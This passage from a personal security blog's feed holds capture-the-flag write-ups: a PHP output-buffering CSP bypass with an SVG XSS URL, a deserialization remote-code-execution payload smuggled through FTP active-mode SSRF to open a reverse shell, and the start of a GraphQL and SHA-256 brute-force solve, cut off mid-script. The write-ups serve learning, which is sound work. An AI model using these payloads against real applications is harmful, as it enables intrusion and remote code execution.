
    <img src="/images/justCTF2020_babycsphash.png"  alt="sa256"  class="center"  style="border-radius: 8px;"  />


<p>We get 10 warnings (A warning per iteration in the for loop) that fill the webpage, complaining about our mistake. The reason why we see these is because the PHP server is in a development environment - so the warnings are given to us in the responses.</p>
<p>PHP was initially developed as a procedural language. The script provided to us is executed in order - it first does actions according to the presence of a <code>flag</code> in a recieved request, then it iterates through the for loop, hashing the <code>nonce</code> value accordingly. Then, it performs actions based on the presence of the <code>user</code> parameter. It is here in the if statement for the <code>user</code> query where the Content-Security-Policy is set:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#a6e22e">header</span>(<span style="color:#e6db74">&#34;content-security-policy: default-src &#39;none&#39;; style-src &#39;nonce-</span><span style="color:#e6db74">$nonce</span><span style="color:#e6db74">&#39;; script-src &#39;nonce-</span><span style="color:#e6db74">$nonce</span><span style="color:#e6db74">&#39;&#34;</span>);
</span></span></code></pre></div><p>So headers are being modified when the <code>user</code> query is specified, but if you also specify an <code>alg</code> query and give it an invalid value, the server&rsquo;s response will first have 10 warnings before the headers of that response are ready.</p>
<p>These warnings also reflect our input back to us, so we can modify the size of each warning by our <code>alg</code> input. Why is this relevant?</p>
<p>PHP has a mechanism called output buffering - if you have a script that began outputting data before the headers were set, that data is put into a buffer which will be sent once the entire response is ready. The PHP response buffer is 4096 bytes (4KB), and once it&rsquo;s filled, it&rsquo;s immediately flushed and the data within it is sent over.</p>
<p>So, if we could specify a value in the <code>alg</code> query that&rsquo;s sufficiently long enough to fill the response buffer, <strong>we will initiate a response sent from the server, regardless of whether or not the headers are ready</strong>. Thus, the CSP <code>header()</code> call will be ignored as a response was already sent. With this, we don&rsquo;t need to worry about whatever the <code>$nonce</code> value is hashed to, cause we can bypass the CSP entirely.</p>
<h3 id="xss-payload--23">XSS payload &lt;= 23</h3>
<p>I initially tried to format an xss payload on my own, trying to shorten my URL domain or use different tags, but with some <a href="https://tinyxss.terjanq.me/">googling</a> I found <code>&lt;svg/onload=&gt;</code> to be effective.</p>
<p>Specifically, the example provided was <code>&lt;svg/onload=eval(name)&gt;</code>, so ideally I could modify the <code>name</code> variable to do what I want. Something like:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">name</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">alert</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">svg</span><span style="color:#f92672">/</span><span style="color:#a6e22e">onload</span><span style="color:#f92672">=</span>eval(<span style="color:#a6e22e">name</span>)<span style="color:#f92672">&gt;</span>
</span></span></code></pre></div><h3 id="putting-it-all-together">Putting it all together</h3>
<p>We can test out if whether or not overloading the response buffer will bypass the CSP with this query:</p>
<pre tabindex="0"><code class="language-url" data-lang="url">https://baby-csp.web.jctf.pro/?alg=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&amp;user=&lt;svg/onload=alert(1)&gt;
</code></pre><p>And this will prompt an alert. We can see the HTML of the webpage and find that our <code>&lt;svg&gt;</code> payload is correctly interpreted as such:</p>

    <img src="/images/justCTF2020_svg.png"  alt="sa256"  class="center"  style="border-radius: 8px;"  />


<p>So, all that&rsquo;s left is to craft a working payload. Due to the <code>/bugbounty.php</code> endpoint, we have a way to make the admin visit a URL we specify, so the rest of the problem is correctly formatting our XSS payload. I ended up hosting a page on my server to redirect the bot to the flag endpoint once they visited, and leak the contents of that response to a webhook. Unfortunately, I wasn&rsquo;t able to grab the flag in time before I could submit it - at that point, the CTF had ended :( I suppose next time I&rsquo;ll be more efficient given that I learned alot about PHP.</p>
<hr>
<p>And that&rsquo;s a portion of the challenges I took a look at during justCTF. Hopefully next time I can solve challenges more efficiently :P</p>
<p><strong>Vie</strong></p>
]]></content>
        </item>
        
        <item>
            <title>DragonCTF 2020: Harmony Chat</title>
            <link>https://jamvie.net/posts/2020/11/dragonctf-2020-harmony-chat/</link>
            <pubDate>Sun, 22 Nov 2020 14:33:48 -0700</pubDate>
            
            <guid>https://jamvie.net/posts/2020/11/dragonctf-2020-harmony-chat/</guid>
            <description>A writeup for the first web problem, &amp;ldquo;Harmony Chat&amp;rdquo;, in DragonCTF 2020. A very fun and interesting challenge!
TL;DR Application is vulnerable to RCE via insecure deserialization on the /csp-report endpoint Use FTP active mode to SSRF a post request to /csp-report that would open a reverse shell on the application&amp;rsquo;s HTTP server Cat flag for profit Let&amp;rsquo;s Begin! The Harmony Chat is a Discord-esque chat app where you can /register an account and create channels.</description>
            <content type="html"><![CDATA[<p>A writeup for the first web problem, &ldquo;Harmony Chat&rdquo;, in DragonCTF 2020. A very fun and interesting challenge!</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Application is vulnerable to RCE via insecure deserialization on the <code>/csp-report</code> endpoint</li>
<li>Use FTP active mode to SSRF a post request to <code>/csp-report</code> that would open a reverse shell on the application&rsquo;s HTTP server</li>
<li>Cat flag for profit</li>
</ul>
<h2 id="lets-begin">Let&rsquo;s Begin!</h2>
<p>The Harmony Chat is a Discord-esque chat app where you can <code>/register</code> an account and create channels. Once registered, you&rsquo;re given your UID, which you use to <code>/login</code> or to invite other users into a channel you create.</p>
<p>There appears to be an FTP server to serve the role of delivering chat logs of a channel through an FTP data connection, which you can request for in the top-right corner of the chat app&rsquo;s GUI.</p>

    <img src="/images/harmonylogs.png"  alt="research"  class="center"  style="border-radius: 8px;"  />


<p>Clicking on it will take whatever you wrote in the channel&hellip;</p>

    <img src="/images/harmonychatlogexample.png"  alt="research"  class="center"  style="border-radius: 8px;"  />


<p>and convert it into a txt file delivered to you through a data connection established by their FTP server to you:</p>
<pre tabindex="0"><code>vie: hello
vie: hi
vie: how are u today
</code></pre><p><em>The format of the chatlog file that would be delivered to you via FTP</em></p>
<p>The source was given for the challenge. We can see that the application supports the implementation of 3 servers: an HTTP one, an intermediary websockets one, and an FTP one. More on that in a bit.</p>
<p>Exploring the source more, we see a module called <code>csp</code> which delivers a report should any chat log input violate the application&rsquo;s content-security policy, when you request for the chat log via HTTP instead of FTP:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">REPORT_URL</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/csp-report&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">ContentSecurityPolicy</span> <span style="color:#f92672">=</span> (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>, <span style="color:#a6e22e">next</span>) =&gt; {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">path</span> <span style="color:#f92672">===</span> <span style="color:#a6e22e">REPORT_URL</span> <span style="color:#f92672">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">method</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;POST&#34;</span> <span style="color:#f92672">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">headers</span>[<span style="color:#e6db74">&#34;content-type&#34;</span>] <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;application/csp-report&#34;</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">handleReport</span>(<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">injectCSPHeaders</span>(<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">next</span>()
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>the function <code>handleReport()</code> is defined as so:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">handleReport</span> <span style="color:#f92672">=</span> (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">data</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Buffer</span>.<span style="color:#a6e22e">alloc</span>(<span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">on</span>(<span style="color:#e6db74">&#34;data&#34;</span>, <span style="color:#a6e22e">chunk</span> =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">data</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Buffer</span>.<span style="color:#a6e22e">concat</span>([<span style="color:#a6e22e">data</span>, <span style="color:#a6e22e">chunk</span>])
</span></span><span style="display:flex;"><span>  })
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">on</span>(<span style="color:#e6db74">&#34;end&#34;</span>, () =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">204</span>).<span style="color:#a6e22e">end</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">isLocal</span>(<span style="color:#a6e22e">req</span>)) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">report</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">utils</span>.<span style="color:#a6e22e">validateAndDecodeJSON</span>(<span style="color:#a6e22e">data</span>, <span style="color:#a6e22e">REPORT_SCHEMA</span>)
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">error</span>(<span style="color:#a6e22e">generateTextReport</span>(<span style="color:#a6e22e">report</span>[<span style="color:#e6db74">&#34;csp-report&#34;</span>]))
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">warn</span>(<span style="color:#a6e22e">error</span>)
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  })
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">isLocal</span> <span style="color:#f92672">=</span> (<span style="color:#a6e22e">req</span>) =&gt; {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">ip</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">connection</span>.<span style="color:#a6e22e">remoteAddress</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">ip</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;127.0.0.1&#34;</span> <span style="color:#f92672">||</span> <span style="color:#a6e22e">ip</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;::1&#34;</span> <span style="color:#f92672">||</span> <span style="color:#a6e22e">ip</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;::ffff:127.0.0.1&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>In the <code>csp</code> module, the application does some basic LAN checking when the HTTP server recieves a POST request to the <code>REPORT_URL</code> endpoint (<code>/csp-report</code>).</p>
<p>We can host the application locally. In our local instance, we can go ahead and play with the application ourselves and see what we get. Robert Xiao, team mentor, helped in realizing that RCE was achievable through <code>/csp-report</code>. With the application running locally on the right, we see that we can leverage the app&rsquo;s use of <code>javascript-serializer</code> to deserialize dangerous payloads. For example, <code>console.log(11111)</code>:</p>

    <img src="/images/harmonyconsolelog.png"  alt="research"  class="center"  style="border-radius: 8px;"  />


<p>So, we can execute code through a POST request to <code>/csp-report</code>! Obviously, we can achieve a simple <code>console.log()</code> but this can be extended further into opening a reverse-shell. Anything is possible :)</p>
<p>So, to recap, we have the capability to communicate to the basic HTTP server and an FTP server, alongside an RCE vulnerability if we make a malformed POST request to <code>/csp-report</code>. Of course, the RCE is easy to achieve when hosting the application locally, since we don&rsquo;t need to worry about failing the <code>isLocal</code> check. To replicate RCE on the actual application itself, we need to somehow trick a forward-facing server on there to make that POST request for us. AKA, we need to do some SSRF. Now, like mentioned before, we can communicate to 2 servers in the application: the HTTP one, and the FTP one. Let&rsquo;s explore FTP&rsquo;s capabilities further.</p>
<p><a href="/posts/2020/04/plaidctf-2020-contrived-web-problem">I&rsquo;ve actually seen this attack before</a> - tricking an FTP server to send a rogue request to another server is quite easy to do if said FTP server supports active mode. To quickly summarize, FTP on active mode is essentially the client/user stipulating to the server where to establish its data connection to. By convention, you would typically tell it to connect to some port on your machine so you can transfer files between you and the server - but realistically, you can tell the server to establish a connection to wherever you want (so long as &ldquo;wherever you want&rdquo; has the stipulated port open).</p>
<p>So the golden question - can we use FTP on active mode and make their server establish a data connection to their HTTP server, allowing us to use FTP to send them the POST request?
(&hellip;I mean, yes, that&rsquo;s why we&rsquo;re here right? :P)</p>
<p>So Harmony Chat&rsquo;s FTP server serves one (intended) purpose: to store then deliver a file showcasing the chat logs of a specific channel. Unfortunately, the FTP server doesn&rsquo;t have write access to these files it stores, so it&rsquo;s not like we can create some dummy file then edit it later. We will have to somehow craft a valid POST request in the chat log of a channel.</p>
<p>How do we get this&hellip;</p>
<pre tabindex="0"><code>POST /csp-report?: HTTP/1.1
Host: localhost:3380
Content-Length: 386
Content-Type: application/csp-report

{&#34;csp-report&#34;: {&#34;blocked-uri&#34;: &#34;x&#34;, &#34;document-uri&#34;: &#34;X&#34;, &#34;effective-directive&#34;: &#34;X&#34;, &#34;original-policy&#34;: &#34;X&#34;, &#34;referrer&#34;: &#34;X&#34;, &#34;status-code&#34;: &#34;X&#34;, &#34;violated-directive&#34;: &#34;X&#34;, &#34;source-file&#34;: {&#34;toString&#34;: {&#34;___js-to-json-class___&#34;: &#34;Function&#34;, &#34;json&#34;: &#34;process.mainModule.require(\&#34;child_process\&#34;).exec(\&#34;COMMAND TO OPEN A REVERSE SHELL&#34;})&#34;}}}}
</code></pre><p>On here?</p>

    <img src="/images/harmonychannel.png"  alt="research"  class="center"  style="border-radius: 8px;"  />


<p>First thing that came to mind was that the chat logs all have the same <code>displayName: message</code> format&hellip; So the thought was to split the POST request by the first occurence of <code>:</code> on each new line and have these different &ldquo;users&rdquo; deliver specific &ldquo;messages&rdquo; to construct the POST request there. You had the ability to invite multiple users to one channel, so this was probably the way to go.</p>
<p>I know that this can be automated - but I did the process manually.
So, we should have 5 &ldquo;users&rdquo;: <code>POST /csp-report?</code>, <code>Host</code>, <code>Content-Length</code>, <code>Content-Type</code> and <code>{&quot;csp-report&quot;</code>. They will then each message the chat in order as so&hellip;</p>
<p>
    <img src="/images/chatlogsPOST.png"  alt="research"  class="center"  style="border-radius: 8px;"  />


<em>NOTE: not seen here, but I used the console to send an empty message that would register as a new line to seperate the request headers from the request body. You&rsquo;ll see what this looks like in a bit.</em></p>
<p>I bet you can see where I&rsquo;m going with this. If we go ahead and download the associated chat log file, we get:</p>
<pre tabindex="0"><code>POST /csp-report?: HTTP/1.1
Host: localhost:3380
Content-Length: 386
Content-Type: application/csp-report

{&#34;csp-report&#34;: {&#34;blocked-uri&#34;: &#34;x&#34;, &#34;document-uri&#34;: &#34;X&#34;, &#34;effective-directive&#34;: &#34;X&#34;, &#34;original-policy&#34;: &#34;X&#34;, &#34;referrer&#34;: &#34;X&#34;, &#34;status-code&#34;: &#34;X&#34;, &#34;violated-directive&#34;: &#34;X&#34;, &#34;source-file&#34;: {&#34;toString&#34;: {&#34;___js-to-json-class___&#34;: &#34;Function&#34;, &#34;json&#34;: &#34;process.mainModule.require(\&#34;child_process\&#34;).exec(&#34;COMMAND TO OPEN A REVERSE SHELL&#34;}}}}
</code></pre><p>Which looks <em>exactly</em> like the POST request we would send to the HTTP server.</p>
<p>We go ahead and ask the FTP server to STOR that chat log file in it (by clicking the logs button at the top right), and then connect to it ourselves. We need to give it these commands:</p>
<pre tabindex="0"><code>user &lt;uid&gt;
pass                    &lt;-- Doesn&#39;t matter
port 172,0,0,1,13,52    &lt;-- Sets FTP on active mode so this is required
retr &lt;id of channel&gt;    &lt;-- Retrieves chat log, sends it in the data channel
</code></pre>
    <img src="/images/ftpcommunication.png"  alt="research"  class="center"  style="border-radius: 8px;"  />


<ul>
<li>
<p>The <code>user</code> command is expecting a uid of any user in the current session. We technically made 5, so any of their uids work.</p>
</li>
<li>
<p>The <code>pass</code> command can be blank, as the implementation of the application said any password will be accepted.</p>
</li>
<li>
<p>The <code>port</code> command is what makes the FTP server operate in active mode. The command&rsquo;s arguments are the 4 bytes of the IP, then the 2 remaining values are the port number following this convention: p1, p2 where <code>(p1 * 256) + p2</code> = full port number. We want to connect to Harmony Chat&rsquo;s localhost at the HTTP server, which is at port 3380.</p>
</li>
<li>
<p>The <code>retr</code> command takes the name of a file (in this case, the name of the chatlog) and retrieves it, then sends it over the data connection it just established. If we got things right, then the FTP server would have sent our POST request to the HTTP server.</p>
</li>
</ul>
<p>Once the FTP server has confirmed that it RETRieved the channel&rsquo;s chatlog and sent it to the local HTTP server, we check back on our ngrok instance and see that a reverse-shell opened up. All that&rsquo;s left now is to <code>ls</code> our way to the flag :)</p>

    <img src="/images/harmonyshell.png"  alt="research"  class="center"  style="border-radius: 8px;"  />


<p><strong>Vie</strong></p>
]]></content>
        </item>
        
        <item>
            <title>Hack.lu 2020: Confessions</title>
            <link>https://jamvie.net/posts/2020/10/hack.lu-2020-confessions/</link>
            <pubDate>Sun, 25 Oct 2020 22:34:34 -0600</pubDate>
            
            <guid>https://jamvie.net/posts/2020/10/hack.lu-2020-confessions/</guid>
            <description>This is a writeup for &amp;ldquo;Confessions&amp;rdquo;, the first web challenge I solved. I was luckily able to finish this challenge in a couple hours, so I could focus my attention to the other super interesting web problems. Confessions was a nice dive into some simple GraphQL manipulation and baby crypto.
Let&amp;rsquo;s Begin! The confessions webpage was a message-generation application that would hash (in sha-256) your message based on the title and content of it.</description>
            <content type="html"><![CDATA[<p>This is a writeup for &ldquo;Confessions&rdquo;, the first web challenge I solved. I was luckily able to finish this challenge in a couple hours, so I could focus my attention to the other super interesting web problems. Confessions was a nice dive into some simple GraphQL manipulation and baby crypto.</p>
<h2 id="lets-begin">Let&rsquo;s Begin!</h2>
<p>The confessions webpage was a message-generation application that would hash (in sha-256) your message based on the title and content of it. Under the hood we see the nature of how these messages are stored:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#75715e">// talk to the GraphQL endpoint
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">gql</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">async</span> (<span style="color:#a6e22e">query</span>, <span style="color:#a6e22e">variables</span><span style="color:#f92672">=</span>{}) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">response</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">fetch</span>(<span style="color:#e6db74">&#39;/graphql&#39;</span>, {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">method</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;POST&#39;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;content-type&#39;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;application/json&#39;</span>,
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">body</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">stringify</span>({
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">operationName</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">null</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">query</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">variables</span>,
</span></span><span style="display:flex;"><span>        }),
</span></span><span style="display:flex;"><span>    });
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">json</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">response</span>.<span style="color:#a6e22e">json</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">json</span>.<span style="color:#a6e22e">errors</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">json</span>.<span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">length</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">throw</span> <span style="color:#a6e22e">json</span>.<span style="color:#a6e22e">errors</span>;
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">json</span>.<span style="color:#a6e22e">data</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// some queries/mutations
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">getConfession</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">async</span> <span style="color:#a6e22e">hash</span> =&gt; <span style="color:#a6e22e">gql</span>(<span style="color:#e6db74">&#39;query Q($hash: String) { confession(hash: $hash) { title, hash } }&#39;</span>, { <span style="color:#a6e22e">hash</span> }).<span style="color:#a6e22e">then</span>(<span style="color:#a6e22e">d</span> =&gt; <span style="color:#a6e22e">d</span>.<span style="color:#a6e22e">confession</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">getConfessionWithMessage</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">async</span> <span style="color:#a6e22e">id</span> =&gt; <span style="color:#a6e22e">gql</span>(<span style="color:#e6db74">&#39;mutation Q($id: String) { confessionWithMessage(id: $id) { title, hash, message } }&#39;</span>, { <span style="color:#a6e22e">id</span> }).<span style="color:#a6e22e">then</span>(<span style="color:#a6e22e">d</span> =&gt; <span style="color:#a6e22e">d</span>.<span style="color:#a6e22e">confessionWithMessage</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">addConfession</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">async</span> (<span style="color:#a6e22e">title</span>, <span style="color:#a6e22e">message</span>) =&gt; <span style="color:#a6e22e">gql</span>(<span style="color:#e6db74">&#39;mutation M($title: String, $message: String) { addConfession(title: $title, message: $message) { id } }&#39;</span>, { <span style="color:#a6e22e">title</span>, <span style="color:#a6e22e">message</span> }).<span style="color:#a6e22e">then</span>(<span style="color:#a6e22e">d</span> =&gt; <span style="color:#a6e22e">d</span>.<span style="color:#a6e22e">addConfession</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">previewHash</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">async</span> (<span style="color:#a6e22e">title</span>, <span style="color:#a6e22e">message</span>) =&gt; <span style="color:#a6e22e">gql</span>(<span style="color:#e6db74">&#39;mutation M($title: String, $message: String) { addConfession(title: $title, message: $message) { hash } }&#39;</span>, { <span style="color:#a6e22e">title</span>, <span style="color:#a6e22e">message</span> }).<span style="color:#a6e22e">then</span>(<span style="color:#a6e22e">d</span> =&gt; <span style="color:#a6e22e">d</span>.<span style="color:#a6e22e">addConfession</span>);
</span></span></code></pre></div><p>The application uses graphQL as an intermediary to the database. Specifically, the client &ldquo;talks&rdquo; to graphql via the <code>\graphql</code> endpoint. If we take a look at what happens when we create a message:</p>

    <img src="/images/confessionsresearch.png"  alt="research"  class="center"  style="border-radius: 8px;"  />


<p>The construction of this &ldquo;mutation&rdquo; object is common in graphQL implementations. However, to actually &ldquo;talk&rdquo; to the endpoint, you don&rsquo;t always need to generate a mutation object.</p>
<p>What else can we ask of the endpoint?  If we perform some regular <a href="https://graphql.org/learn/introspection/">introspection</a> into their graphQL infrastructure, we see something interesting (I&rsquo;m using the graphQL IDE here to avoid having to worry about formatting in an API request):</p>

    <img src="/images/confessionsschema.png"  alt="schema"  class="center"  style="border-radius: 8px;"  />


<p>The description on the query&rsquo;s field <code>accessLog</code> is the big hint here. Let&rsquo;s expand upon <code>accessLog</code> further:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">accessLog{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#960050;background-color:#1e0010">name</span>
</span></span><span style="display:flex;"><span>    <span style="color:#960050;background-color:#1e0010">timestamp</span>
</span></span><span style="display:flex;"><span>    <span style="color:#960050;background-color:#1e0010">args</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">}</span>
</span></span></code></pre></div>
    <img src="/images/confessionsaccess.png"  alt="accessLog"  class="center"  style="border-radius: 8px;"  />


<p>We recieve a list of hashes, also in sha-256. Running the first 4 hashes through an online sha-256 database reveal to me that they decrypt to &ldquo;f&rdquo;, &ldquo;fl&rdquo;, &ldquo;fla&rdquo;, then finally &ldquo;flag&rdquo;. The full flag of this challenge is obviously the very last hash in this <code>accessLog</code>, so now we must bruteforce the incoming letters (which isn&rsquo;t too crazy. If we operate under the assumption that the flag has letters that are all lowercase, numbers 0-9, and maybe the <code>-</code> or <code>_</code> chars, we are dealing with 38 bits of entropy per letter, which is manageable. Additionally, we are aware by convention that all flags start with <code>flag{</code> and the last char is <code>}</code>, so we can already figure out what the 5th hash decrypts to). Special thanks to teammate Filip for explaining to me how to do it :-)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> hashlib <span style="color:#f92672">import</span> sha256
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> pwn <span style="color:#f92672">import</span> <span style="color:#f92672">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>alphanumerics <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;abcdefghijklmnopqrstuvwxyz1234567890</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">_-&#34;</span>
</span></span><span style="display:flex;"><span>hashes <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#34;&#34;&#34;all the hashes found in accessLog. There were a lot.&#34;&#34;&#34;</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>flag <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> hash <span style="color:#f92672">in</span> hashes:
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> c <span style="color:#f92672">in</span> alphanumerics:
</span></span><span style="display:flex;"><span>		m <span style="color:#f92672">=</span> sha256()
